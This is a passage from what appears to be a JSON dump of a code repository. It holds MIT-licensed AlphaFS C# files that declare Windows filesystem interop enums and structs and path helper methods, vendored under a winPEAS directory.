    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The type of the data contained in the backup stream.</summary>\n      internal enum STREAM_ID\n      {\n         /// <summary>This indicates an error.</summary>\n         NONE = 0,\n\n         /// <summary>Standard data. This corresponds to the NTFS $DATA stream type on the default (unnamed) data stream.</summary>\n         BACKUP_DATA = 1,\n\n         /// <summary>Extended attribute data. This corresponds to the NTFS $EA stream type.</summary>\n         BACKUP_EA_DATA = 2,\n\n         /// <summary>Security descriptor data.</summary>\n         BACKUP_SECURITY_DATA = 3,\n\n         /// <summary>Alternative data streams. This corresponds to the NTFS $DATA stream type on a named data stream.</summary>\n         BACKUP_ALTERNATE_DATA = 4,\n\n         /// <summary>Hard link information. This corresponds to the NTFS $FILE_NAME stream type.</summary>\n         BACKUP_LINK = 5,\n\n         /// <summary>Property data.</summary>\n         BACKUP_PROPERTY_DATA = 6,\n\n         /// <summary>Objects identifiers. This corresponds to the NTFS $OBJECT_ID stream type.</summary>\n         BACKUP_OBJECT_ID = 7,\n\n         /// <summary>Reparse points. This corresponds to the NTFS $REPARSE_POINT stream type.</summary>\n         BACKUP_REPARSE_DATA = 8,\n\n         /// <summary>Sparse file. This corresponds to the NTFS $DATA stream type for a sparse file.</summary>\n         BACKUP_SPARSE_BLOCK = 9,\n\n         /// <summary>Transactional NTFS (TxF) data stream.</summary>\n         /// <remarks>Windows Server 2003 and Windows XP:  This value is not supported.</remarks>\n         BACKUP_TXFS_DATA = 10\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/STREAM_INFO_LEVELS.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Defines values that are used with the FindFirstStreamW function to specify the information level of the returned data.</summary>\n      /// <remarks>\n      ///   <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      internal enum STREAM_INFO_LEVELS\n      {\n         /// <summary>The FindFirstStreamW function retrieves standard stream information. The data is returned in a <see cref=\"WIN32_FIND_STREAM_DATA\"/> structure.</summary>\n         FindStreamInfoStandard = 0,\n\n         /// <summary>Used to determine valid enumeration values. All supported enumeration values are less than FindStreamInfoMaxInfoLevel.</summary>\n         FindStreamInfoMaxInfoLevel = 1\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/SymbolicLinkReparseBuffer.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct SymbolicLinkReparseBuffer\n      {\n         public ushort SubstituteNameOffset;\n         public ushort SubstituteNameLength;\n         public ushort PrintNameOffset;\n         public ushort PrintNameLength;\n         public SymbolicLinkType Flags;\n         [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] public byte[] data;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/VOLUME_INFO_FLAGS.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Volume Attributes used by the GetVolumeInfo() function.</summary>\n      [Flags]\n      internal enum VOLUME_INFO_FLAGS\n      {\n         /// <summary>The specified volume supports case-sensitive file names.</summary>\n         FILE_CASE_SENSITIVE_SEARCH = 1,\n\n\n         /// <summary>The specified volume supports preserved case of file names when it places a name on disk.</summary>\n         FILE_CASE_PRESERVED_NAMES = 2,\n\n\n         /// <summary>The specified volume supports Unicode in file names as they appear on disk.</summary>\n         FILE_UNICODE_ON_DISK = 4,\n\n\n         /// <summary>The specified volume preserves and enforces access control lists (ACL). For example, the NTFS file system preserves and enforces ACLs, and the FAT file system does not.</summary>\n         FILE_PERSISTENT_ACLS = 8,\n\n\n         /// <summary>The specified volume supports file-based compression.</summary>\n         FILE_FILE_COMPRESSION = 16,\n\n\n         /// <summary>The specified volume supports disk quotas.</summary>\n         FILE_VOLUME_QUOTAS = 32,\n\n\n         /// <summary>The specified volume supports sparse files.</summary>\n         FILE_SUPPORTS_SPARSE_FILES = 64,\n\n\n         /// <summary>The specified volume supports re-parse points.</summary>\n         FILE_SUPPORTS_REPARSE_POINTS = 128,\n\n\n         /// <summary>(does not appear on MSDN)</summary>\n         FILE_SUPPORTS_REMOTE_STORAGE = 256,\n\n\n         /// <summary>The specified volume is a compressed volume, for example, a DoubleSpace volume.</summary>\n         FILE_VOLUME_IS_COMPRESSED = 32768,\n\n\n         /// <summary>The specified volume supports object identifiers.</summary>\n         FILE_SUPPORTS_OBJECT_IDS = 65536,\n\n\n         /// <summary>The specified volume supports the Encrypted File System (EFS). For more information, see File Encryption.</summary>\n         FILE_SUPPORTS_ENCRYPTION = 131072,\n\n\n         /// <summary>The specified volume supports named streams.</summary>\n         FILE_NAMED_STREAMS = 262144,\n\n\n         /// <summary>The specified volume is read-only.</summary>\n         FILE_READ_ONLY_VOLUME = 524288,\n\n\n         /// <summary>The specified volume is read-only.</summary>\n         FILE_SEQUENTIAL_WRITE_ONCE = 1048576,\n\n\n         /// <summary>The specified volume supports transactions.For more information, see About KTM.</summary>\n         FILE_SUPPORTS_TRANSACTIONS = 2097152,\n\n\n         /// <summary>The specified volume supports hard links. For more information, see Hard Links and Junctions.</summary>\n         /// <remarks>Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n         FILE_SUPPORTS_HARD_LINKS = 4194304,\n\n\n         /// <summary>The specified volume supports extended attributes. An extended attribute is a piece of application-specific metadata that an application can associate with a file and is not part of the file's data.</summary>\n         /// <remarks>Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n         FILE_SUPPORTS_EXTENDED_ATTRIBUTES = 8388608,\n\n\n         /// <summary>The file system supports open by FileID. For more information, see FILE_ID_BOTH_DIR_INFO.</summary>\n         /// <remarks>Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n         FILE_SUPPORTS_OPEN_BY_FILE_ID = 16777216,\n\n\n         /// <summary>The specified volume supports update sequence number (USN) journals. For more information, see Change Journal Records.</summary>\n         /// <remarks>Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n         FILE_SUPPORTS_USN_JOURNAL = 33554432,\n\n\n         /// <summary>The specified volume is a direct access (DAX) volume.</summary>\n         /// <remarks>This flag was introduced in Windows 10, version 1607.</remarks>\n         FILE_DAX_VOLUME = 536870912\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/WIN32_FILE_ATTRIBUTE_DATA.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>WIN32_FILE_ATTRIBUTE_DATA structure contains attribute information for a file or directory. The GetFileAttributesEx function uses this structure.</summary>\n      /// <remarks>\n      /// Not all file systems can record creation and last access time, and not all file systems record them in the same manner.\n      /// For example, on the FAT file system, create time has a resolution of 10 milliseconds, write time has a resolution of 2 seconds,\n      /// and access time has a resolution of 1 day. On the NTFS file system, access time has a resolution of 1 hour. \n      /// For more information, see File Times.\n      /// </remarks>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct WIN32_FILE_ATTRIBUTE_DATA\n      {\n         public WIN32_FILE_ATTRIBUTE_DATA(WIN32_FIND_DATA findData)\n         {\n            dwFileAttributes = findData.dwFileAttributes;\n            ftCreationTime = findData.ftCreationTime;\n            ftLastAccessTime = findData.ftLastAccessTime;\n            ftLastWriteTime = findData.ftLastWriteTime;\n            nFileSizeHigh = findData.nFileSizeHigh;\n            nFileSizeLow = findData.nFileSizeLow;\n         }\n\n         /// <summary>The file attributes of a file.</summary>\n         [MarshalAs(UnmanagedType.I4)] public FileAttributes dwFileAttributes;\n\n         /// <summary>A <see cref=\"FILETIME\"/> structure that specifies when a file or directory was created.\n         /// If the underlying file system does not support creation time, this member is zero.</summary>\n         public readonly FILETIME ftCreationTime;\n\n         /// <summary>A <see cref=\"FILETIME\"/> structure.\n         /// For a file, the structure specifies when the file was last read from, written to, or for executable files, run.\n         /// For a directory, the structure specifies when the directory is created. If the underlying file system does not support last access time, this member is zero.\n         /// On the FAT file system, the specified date for both files and directories is correct, but the time of day is always set to midnight.\n         /// </summary>\n         public readonly FILETIME ftLastAccessTime;\n\n         /// <summary>A <see cref=\"FILETIME\"/> structure.\n         /// For a file, the structure specifies when the file was last written to, truncated, or overwritten, for example, when WriteFile or SetEndOfFile are used.\n         /// The date and time are not updated when file attributes or security descriptors are changed.\n         /// For a directory, the structure specifies when the directory is created. If the underlying file system does not support last write time, this member is zero.\n         /// </summary>\n         public readonly FILETIME ftLastWriteTime;\n\n         /// <summary>The high-order DWORD of the file size. This member does not have a meaning for directories.\n         /// This value is zero unless the file size is greater than MAXDWORD.\n         /// The size of the file is equal to (nFileSizeHigh * (MAXDWORD+1)) + nFileSizeLow.\n         /// </summary>\n         public readonly uint nFileSizeHigh;\n\n         /// <summary>The low-order DWORD of the file size. This member does not have a meaning for directories.</summary>\n         public readonly uint nFileSizeLow;\n\n         /// <summary>The file size.</summary>\n         public long FileSize\n         {\n            get { return ToLong(nFileSizeHigh, nFileSizeLow); }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/WIN32_FIND_DATA.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Contains information about the file that is found by the FindFirstFile, FindFirstFileEx, or FindNextFile function.</summary>\n      /// <remarks>\n      /// If a file has a long file name, the complete name appears in the cFileName member, and the 8.3 format truncated version of the name appears\n      /// in the cAlternateFileName member. Otherwise, cAlternateFileName is empty. If the FindFirstFileEx function was called with a value of FindExInfoBasic\n      /// in the fInfoLevelId parameter, the cAlternateFileName member will always contain a <c>null</c> string value. This remains true for all subsequent calls to the\n      /// FindNextFile function. As an alternative method of retrieving the 8.3 format version of a file name, you can use the GetShortPathName function.\n      /// For more information about file names, see File Names, Paths, and Namespaces.\n      /// </remarks>\n      /// <remarks>\n      /// Not all file systems can record creation and last access times, and not all file systems record them in the same manner.\n      /// For example, on the FAT file system, create time has a resolution of 10 milliseconds, write time has a resolution of 2 seconds,\n      /// and access time has a resolution of 1 day. The NTFS file system delays updates to the last access time for a file by up to 1 hour\n      /// after the last access. For more information, see File Times.\n      /// </remarks>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      [Serializable]\n      internal struct WIN32_FIND_DATA\n      {\n         /// <summary>The file attributes of a file.</summary>\n         public FileAttributes dwFileAttributes;\n\n         \n         /// <summary>A <see cref=\"FILETIME\"/> structure that specifies when a file or directory was created.\n         /// If the underlying file system does not support creation time, this member is zero.</summary>\n         public FILETIME ftCreationTime;\n\n         \n         /// <summary>A <see cref=\"FILETIME\"/> structure.\n         /// For a file, the structure specifies when the file was last read from, written to, or for executable files, run.\n         /// For a directory, the structure specifies when the directory is created. If the underlying file system does not support last access time, this member is zero.\n         /// On the FAT file system, the specified date for both files and directories is correct, but the time of day is always set to midnight.\n         /// </summary>\n         public FILETIME ftLastAccessTime;\n\n         \n         /// <summary>A <see cref=\"FILETIME\"/> structure.\n         /// For a file, the structure specifies when the file was last written to, truncated, or overwritten, for example, when WriteFile or SetEndOfFile are used.\n         /// The date and time are not updated when file attributes or security descriptors are changed.\n         /// For a directory, the structure specifies when the directory is created. If the underlying file system does not support last write time, this member is zero.\n         /// </summary>\n         public FILETIME ftLastWriteTime;\n\n         \n         /// <summary>The high-order DWORD of the file size. This member does not have a meaning for directories.\n         /// This value is zero unless the file size is greater than MAXDWORD.\n         /// The size of the file is equal to (nFileSizeHigh * (MAXDWORD+1)) + nFileSizeLow.\n         /// </summary>\n         public uint nFileSizeHigh;\n\n         \n         /// <summary>The low-order DWORD of the file size. This member does not have a meaning for directories.</summary>\n         public uint nFileSizeLow;\n\n         \n         /// <summary>If the dwFileAttributes member includes the FILE_ATTRIBUTE_REPARSE_POINT attribute, this member specifies the reparse point tag.\n         /// Otherwise, this value is undefined and should not be used.\n         /// </summary>\n         public readonly ReparsePointTag dwReserved0;\n\n         \n         /// <summary>Reserved for future use.</summary>\n         private readonly uint dwReserved1;\n\n         \n         /// <summary>The name of the file.</summary>\n         [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MaxPath)] public string cFileName;\n\n         \n         /// <summary>An alternative name for the file. This name is in the classic 8.3 file name format.</summary>\n         [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)] public readonly string cAlternateFileName;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/WIN32_FIND_STREAM_DATA.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct WIN32_FIND_STREAM_DATA\n      {\n         public long StreamSize;\n\n         [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MaxPath + 36)]\n         public string cStreamName;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/WIN32_STREAM_ID.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Contains stream data.</summary>\n      [StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode)]\n      [Serializable]\n      internal struct WIN32_STREAM_ID\n      {\n         /// <summary>Type of stream data.</summary>\n         [MarshalAs(UnmanagedType.U4)]\n         public readonly STREAM_ID dwStreamId;\n\n         /// <summary>Attributes of data to facilitate cross-operating system transfer.</summary>\n         [MarshalAs(UnmanagedType.U4)]\n         public readonly STREAM_ATTRIBUTE dwStreamAttribute;\n\n         /// <summary>Size of data, in bytes.</summary>\n         [MarshalAs(UnmanagedType.U8)]\n         public readonly ulong Size;\n\n         /// <summary>Length of the name of the alternative data stream, in bytes.</summary>\n         [MarshalAs(UnmanagedType.U4)]\n         public readonly uint dwStreamNameSize;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.AddTrailingDirectorySeparatorCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Globalization;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Adds a trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> character to the string, when absent.</summary>\n      /// <returns>A text string with a trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> character. The function returns <c>null</c> when <paramref name=\"path\"/> is <c>null</c>.</returns>\n      /// <param name=\"path\">A text string to which the trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> is to be added, when absent.</param>\n      /// <param name=\"addAlternateSeparator\">If <c>true</c> the <see cref=\"AltDirectorySeparatorChar\"/> character will be added instead.</param>\n      [SecurityCritical]\n      internal static string AddTrailingDirectorySeparatorCore(string path, bool addAlternateSeparator)\n      {\n         return null == path\n\n            ? null\n\n            : (addAlternateSeparator ? (!path.EndsWith(AltDirectorySeparatorChar.ToString(CultureInfo.InvariantCulture), StringComparison.Ordinal) ? path + AltDirectorySeparatorChar : path)\n\n               : (!path.EndsWith(DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture), StringComparison.Ordinal) ? path + DirectorySeparatorChar : path));\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.CombineCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Combines an array of strings into a path.</summary>\n      /// <returns>The combined paths.</returns>\n      /// <remarks>\n      ///   <para>The parameters are not parsed if they have white space.</para>\n      ///   <para>Therefore, if path2 includes white space (for example, \" c:\\\\ \"),</para>\n      ///   <para>the Combine method appends path2 to path1 instead of returning only path2.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will not check <paramref name=\"paths\"/> for invalid path characters.</param>\n      /// <param name=\"paths\">An array of parts of the path.</param>\n      [SecurityCritical]\n      internal static string CombineCore(bool checkInvalidPathChars, params string[] paths)\n      {\n         if (null == paths)\n            throw new ArgumentNullException(\"paths\");\n\n         var capacity = 0;\n         var num = 0;\n\n         for (int index = 0, l = paths.Length; index < l; ++index)\n         {\n            if (null == paths[index])\n               throw new ArgumentNullException(\"paths\");\n\n            if (paths[index].Length != 0)\n            {\n               if (IsPathRooted(paths[index], checkInvalidPathChars))\n               {\n                  num = index;\n                  capacity = paths[index].Length;\n               }\n\n               else\n                  capacity += 